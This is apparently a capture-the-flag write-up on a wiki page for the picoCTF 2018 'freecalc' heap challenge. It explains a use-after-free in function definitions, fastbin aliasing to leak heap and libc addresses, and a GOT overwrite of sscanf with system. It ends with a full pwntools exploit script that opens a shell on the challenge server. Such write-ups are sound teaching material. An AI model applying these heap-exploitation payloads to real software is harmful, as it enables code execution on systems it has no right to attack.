Skip to content

picoctf 2018 freecalc

Jump to bottom
hpmv1 edited this page Oct 14, 2018 · 10 revisions

I'm new to security, so I did not even know about fastbins when I was tackling this challenge. So my solution only uses the most basic understanding of fastbins: each size has a LIFO freelist. It does not even make use of double-free. As a result the solution may not be the shortest, but it's also interesting that I did not need to leak a heap address, so I thought it'd be interesting to share.

The source

First a few observations about the source:

  • The definition of a function is rather liberal: it can be any sequence of ops, including function definitions themselves. Note that if we do include a FUNC_DEF op, its funcdef is parsed right away, so we get a single instance of the funcdef. For example, : A 1 : B 1 0 will create a funcdef for B right away, and then when running A later, B is defined. If at that point B is already defined, however, this funcdef will be freed, but A still holds a reference to it, leading to a use-after-free opportunity.

    • How do we take advantage of this though? We need to invoke the freed funcdef to make use of any overwritten values, but when a function is stored in functions[FMAX], the pointer to funcdef as well as its name and ops pointers are never replaced, so our freed function doesn't go into the functions array. So to make that work, we need to overwrite A's name field to point to some other name and then redefine the function again, and then we need to invoke it by the new name.

  • There are four places in the code that print some values (without exiting right away), let's see if any can be used to leak address information:

    1. (L1) printf("Invalid operation '%s'\n", op_string); in parse_op. This is not too useful because the string is user-supplied.
    2. (L2) printf("Running %s\n", f->name); in run_op. This can leak memory if we can control funcdef's name.
    3. (L3) printf("Invalid operation '%ld'\n", op->t); in run_op. This can leak if we control funcdef's ops to point to arbitrary memory, which will likely have its first 8 bytes not be <= 8 and then we print out the value. We do have to make sure opcount is small enough to not cause a segfault.
    4. (L4) printf("%ld\n", s1); in run_op as a result of the = operation. This can leak if we control an operation's v. Since v is a union of a long and a funcdef_t*, this is an opportunity to leak heap address if we can somehow make change the operation's type from a FUNCTION or FUNCDEF to something like CONSTANT.

  • There appears to be only one place where we can write memory: the memcpy call in define_function. So we'll eventually need to make oldf->ops point to a GOT address and f->ops point to some place with system address, such as a stack_el.

Heap Leak (not needed, but easier to understand)

The official hint tells us we should leak both a heap and libc address. Even though in my approach I did not end up needing the heap address, it's helpful to do this first because libc address is harder to leak.

  • 0 0 to push two zeros to the stack. We'll use this later.
  • : F 1 0 to define F.
  • : G 1 : F 1 0 to define an G that defines F when called. We'll denote this instance of F as F'.
  • G to redefine F; this frees F' and its name and ops but has no other effect. Note that F' is freed last.
  • 4194322 to push an element to the stack. This allocates the same memory as F' and overwrites its name to some arbitrary string (in this case I picked 0x400012 which happens to be ">"), and overwrites its ops to the next stack element, which is the second 0 we pushed at the beginning. That is interpreted as an operation CONSTANT whose value is the address of the next stack element (the first 0 we pushed).
  • G to define F' again but now it has the name >, so it gets added to the functions array without freeing anything.
  • > to invoke F' which pushes the address of the first 0 stack element, which is a heap address.
  • = to print it out.

libc Leak

To leak libc we need to supply an arbitrary address ourselves; not only that, but we also need to dereference the address before printing it. L2 leak (printf of the function's name) is the only one that dereferences, so we'll use that.

  • 0 0 : F 1 0 : G 1 : F 1 0 G 4194322 G: So far the same as the heap leak. We've defined > whose memory is aliased to the first stack element.
  • : H 1 > to define a function H that simply calls >. We do this because the next step will change the name of the function so we can't call it directly anymore. By defining H, we eagerly store a pointer to the function >, so we can invoke it directly later.
  • = 6298584 to pop the stack element and then push a new one with 0x601bd8 (GOT of sscanf) as the value. This overwrites >'s name to the address of sscanf.
  • H to invoke the function, which prints the name of the function (address of sscanf), and also puts the address of the first stack element to the stack.
  • = to also print the heap address (why not?)

Writing to GOT

This is tricky. We need to invoke memcpy(<GOT addr>, <ptr to ptr to system>, ...), so we need to control ops of both the old and new function, and to do that we need some struct to alias the memory and place a user-controlled value at the +8 position, and the only one that works is operation which has a v we control. However, if we alias a funcdef with an operation, the operation type aliases the name pointer, but none of 0 - 8 are valid pointers, and we need to reference the function by name in order to redefine it to call memcpy. So that doesn't work.

stack_el also seems to not work because the next pointer is not controlled by us... or is it? It turns out we can, by using the same memcpy technique again: suppose the stack is A -> B -> ... and A aliases the memory of funcdef F. By redefining F, we can overwrite B's memory with the new ops! Now if B also aliases another funcdef G, then G's ops point to an arbitrary value we control. However, we still have a problem: each function allocates 3 times, so if we free two functions and try to alias them with two stack elements, we'd need to make 2 dummy allocations in between! We can try to get around this by making name and ops go to separate fastbins, but that actually backfires because we won't be able to overwrite B (the realloc will see that B is too small) anymore.

Fortunately, we can actually pop B even if it has an invalid next pointer, and some time later we can push a stack element again, and it will still have the same next pointer. So we'll just alias it to a funcdef later.

So here it goes:

  • 0 to push a stack element we'll use later. We'll call this stack element S. Stack is now S -> ...
  • : A 1 0 : B 1 0 to define two functions A and B.
  • : AR 1 : A 1 0 : BR 1 : B 1 0 which each redefines A and B. We'll refer to these instances of funcdef by A' and B' for clarity.
  • AR to free A' and puts it at the top of the fastbin freelist.
  • 4194336 which aliases A' to a new stack element and points its name to @ (0x400020). Stack is now A' -> S -> ...
  • AR which defines A' which is now named @.
  • : @ 1 6298576. This triggers a memcpy from the new ops that contain (0x0, sscanf GOT - 8) to A'.ops which is A'.next which is S. In other words this sets S.next = sscanf GOT - 8. The stack is now A' -> S -> sscanf GOT - 8 -> (invalid)
  • = = to pop A' and S. Stack is now sscanf GOT - 8 -> (invalid).
  • BR which frees B' and puts it on top of the fastbin freelist.
  • 4194364 (0x40003C, the string %), which sets the stack to B' -> sscanf GOT - 8 -> (invalid) and also aliases the function B' and sets its memory to ("%", sscanf GOT - 8).
  • BR, which defines B' which is now named %.
  • : % 1 <&system>. Triggers memcpy to write &system to sscanf GOT. It happens to also overwrite the previous GOT entry (which is malloc) to 0, but that's OK.
  • /bin/sh which triggers sscanf on it to give us a shell.

Input Issues

There's just one final issue: the main() function has a bug where line is freed but not reset to NULL. This will crash the program if the second line is longer than the first because getline will try to realloc the buffer. Also, if we don't free a chunk in the same fastbin before the second line is done, we'll get a double-free crash too. Fortunately, we only need to leak a single address, and we only need to use it at the very end, so we can do it in just two lines where the first line is longer, taking care not to exceed max fastbin size which would trigger additional memory corruption checks.

Script

To put it all together here's the script:

from pwn import *

sscanf_got = 0x601bd8
name1 = 0x400012 # ">"
name2 = 0x400020 # "@"
name3 = 0x40003c # "%"

p = remote('2018shell3.picoctf.com', 53084)
p.send('0 0 0 : F 1 0 : G 1 : F 1 0 G %s G : H 1 > = %s H = 0 : A 1 0 : B 1 0 : AR 1 : A 1 0 : BR 1 : B 1 0 AR\n' % (name1, sscanf_got))
system_addr = u64(p.recvline_regex("Running .....\x7f")[len("Running "):] + '\0\0') + 0x45390 - 0x6bad0
print 'system is at', hex(system_addr)
p.send('%s AR : @ 1 %s = = BR %s BR : %% 1 %s /bin/sh\n' % (name2, sscanf_got - 8, name3, system_addr))
p.interactive()
Clone this wiki locally